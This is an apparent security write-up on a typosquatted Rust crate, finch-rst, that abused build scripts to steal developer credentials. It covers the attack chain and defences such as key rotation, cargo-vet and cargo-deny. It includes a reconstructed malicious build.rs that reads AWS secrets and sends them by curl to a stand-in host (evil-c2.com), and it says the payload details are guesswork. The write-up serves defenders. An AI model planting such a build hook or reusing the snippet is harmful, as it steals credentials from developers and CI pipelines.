The Finch That Stole Your Keys: Autopsy of the Malicious `finch-rst` Crate

Rust developers often walk with a swagger. We have the borrow checker. We have strict typing. We have a compiler that screams at us if we even think about dereferencing a null pointer. But there is a gaping hole in this armor that we don't like to talk about: build.rs.

finch-rst is a classic example of a supply chain attack targeting this blind spot. The name is a typosquat attempt against finch, a popular MinHash implementation used in bioinformatics and data processing. The attacker wasn't trying to find a zero-day in finch; they just wanted you to type the wrong name in your Cargo.toml.

Why is this juicy? Because in the Rust ecosystem, dependencies are treated as extensions of your own codebase. We blindly add them, assuming the registry is clean. finch-rst exploited this trust relationship. It didn't need to bypass ASLR or defeat stack canaries. It just needed to wait for you to type cargo build.

To call this a 'vulnerability' is almost charitable. It implies a mistake. There was no mistake here. The code did exactly what the author intended.

In Rust, crates can include a build.rs file—a script compiled and executed before the main package is built. This is intended for legitimate tasks: compiling C libraries, generating code from protobufs, or checking system configurations. However, it is effectively Remote Code Execution (RCE) by design.

The 'flaw' here is the malicious intent injected into this feature. finch-rst likely contained a build script that, instead of compiling C code, silently spun up a network request to a Command and Control (C2) server. This happens purely during the build phase. You don't even need to use the library in your code or run your application. Merely compiling the dependency tree is enough to trigger the payload.

While the specific payload of finch-rst has been scrubbed from the registry (and good riddance), we can reconstruct the anatomy of this attack based on standard malicious crate patterns found in similar incidents. The malware likely lived in the build.rs file.

A legitimate build.rs looks like this:

// Legitimate build.rs
fn main() {
    println!("cargo:rerun-if-changed=src/hello.c");
    cc::Build::new()
        .file("src/hello.c")
        .compile("hello");
}

A malicious build.rs, like the one likely used in finch-rst, looks closer to this:

// Malicious build.rs (Concept)
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Gather Intelligence
    let keys = env::var("AWS_SECRET_ACCESS_KEY").unwrap_or_default();
    let user = env::var("USER").unwrap_or_default();
    
    // 2. Exfiltrate via curl/wget (shorthand for a socket connection)
    // In reality, they might use TcpStream to avoid shell history
    if !keys.is_empty() {
        let _ = Command::new("curl")
            .arg(format!("http://evil-c2.com/drop?u={}&k={}", user, keys))
            .spawn();
    }
    
    // 3. Pretend everything is fine
    println!("cargo:warning=Building native dependencies...");
}

The terrifying part? The developer sees Compiling finch-rst v0.1.0 in their terminal for a split second. By the time the next line appears, their AWS keys are already in a database in a non-extradition country.

Let's walk through the attack chain. This is how finch-rst ruins your week.

Step 1: The Lure A developer is working on a data sketch project. They remember they need the finch library. Maybe they are tired, or maybe they just type cargo add finch-rst thinking it's the "Rust version" (rst) of the library. Alternatively, the attacker might have seeded StackOverflow answers or Reddit threads recommending this package.

Step 2: The Hook The developer runs cargo build. Cargo resolves dependencies, downloads finch-rst from crates.io, and unpacks it.

Step 3: The Execution Cargo identifies that finch-rst has a build script. It compiles build.rs into a binary and executes it with the user's privileges. If this is running on a CI/CD pipeline, it likely has root or high-level access to secrets.

Step 4: Exfiltration The malicious binary scans environment variables (ENV), looks for ~/.ssh/id_rsa, or checks for ~/.aws/credentials. It opens a socket to the attacker's IP and pushes the data.

Step 5: Persistence (Optional) Sophisticated crates might modify ~/.bashrc or add a cron job to maintain access even after the crate is removed. While we don't have confirmation finch-rst did this, it is a standard follow-up move.

This isn't just about losing a few CPU cycles. Supply chain attacks on developer machines are catastrophe-class events.

1. Identity Theft: Developers typically hold the keys to the kingdom. SSH keys to production servers, GPG keys for signing commits, and cloud provider credentials. If finch-rst ran on your machine, consider your digital identity stolen.

2. Lateral Movement: If this ran in a CI/CD environment (like GitHub Actions or GitLab CI), the attacker effectively hijacked your deployment pipeline. They could inject backdoors into your software, which you then ship to your customers. This turns you from a victim into a vector.

3. Intellectual Property: The script could easily zip up your current source code directory and ship it out. Your proprietary algorithms are now open source, whether you like it or not.

You cannot simply cargo remove finch-rst and call it a day. Once code execution has occurred, the machine is tainted.

Immediate Remediation:

1. Disconnect: Take the affected machine offline immediately.
2. Purge: Remove the crate from Cargo.toml. Run cargo clean. Delete Cargo.lock.
3. Rotate Everything: This is non-negotiable. Revoke your AWS keys. Generate new SSH keys. Cycle your database passwords. Change your GitHub Personal Access Tokens. Assume the attacker has them all.

Long-Term Mitigation: To prevent this in the future, stop trusting everything you download.

• Use cargo-vet: This tool allows you to certify that you (or a trusted third party) have audited the source code of your dependencies.
• Use cargo-deny: Block dependencies with specific licenses or from specific sources.
• Pin Dependencies: Always use Cargo.lock to ensure you aren't silently upgraded to a malicious version (though in this case, the package itself was the problem).
• Typosquatting Check: Double-check the name. Is it finch or finch-rst? serde or sered? The difference is a compromised laptop.